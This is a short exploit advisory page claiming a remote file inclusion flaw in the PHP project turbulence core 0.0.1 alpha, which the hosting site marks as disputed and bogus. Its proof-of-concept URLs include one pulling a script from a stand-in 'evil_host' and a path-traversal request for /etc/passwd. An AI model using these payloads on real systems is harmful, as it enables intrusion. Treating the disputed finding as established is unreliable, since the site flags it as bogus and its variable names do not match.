WARNING! Fake news / Disputed / BOGUS

turbolence core 0.0.1 alpha Remote File Inclusion

2007.05.12
Credit: omni
Risk: High
Local: No
Remote: Yes
CWE: N/A

. . . ._ | _. .|_ _. _.;_/ [_)|(_]\_|[ )(_](_.| \.net | ._| "turbulence core.0.0.1-alpha - REMOTE FILE INCLUSION" by Omni 1) Infos --------- Date : 2007-04-20 Product : turbulence core Version : 0.0.1 alpha Vendor : http://sourceforge.net/projects/turbulence Vendor Status : 2007-04-20 -> Not Informed! 2007-04-21 -> Vendor Informed! Description : PHP Turbulence is a suite of PHP scripts that work together in unison. They do not require one another to be present, but work perfect together. The intent of the project is to eliminate the need to download a PHP message board, PHP news, PHP user managment. Source : omnipresent - omni E-mail : omnipresent @ email . it - omni @ playhack . net Team : Playhack.net Security 2) Security Issues ------------------- --- [ Remote File Inclusion Vulnerability ] --- =============================================== [ /user/turbolence.php - Line 34 - 39 ] [...] $tdbconn = tdb_connect($GLOBALS['tdb']); if (!$tdbconn) decho("Database Connection Failed..."); decho("Database Connection: ".$tdbconn); include($GLOBALS['tcore'].'/user/session.inc'); if ($GLOBALS['login']) { [...] [ end script turbolence.php ] As you can see the variable $GLOBALS['tcode'] is not properly sanitized before being used; so an attacker can gain access to the shell by using a crafted URL. --- [ PoC ] --- =============== Tested on a php.ini configuration as the follow: register_global = On allow_url_unclude = On RFI: http://127.0.0.1/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evi l_script.txt? LFI: http://127.0.0.1/turbulence.php?GLOBALS[tcore]=../../../../../../../../. ./../../../etc/passwd%00 ---- [ Patch ] ---- 1. Edit the source code to ensure that the input is validated. 2. To avoid Remote File Inclusion turn Off allow_url_include.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top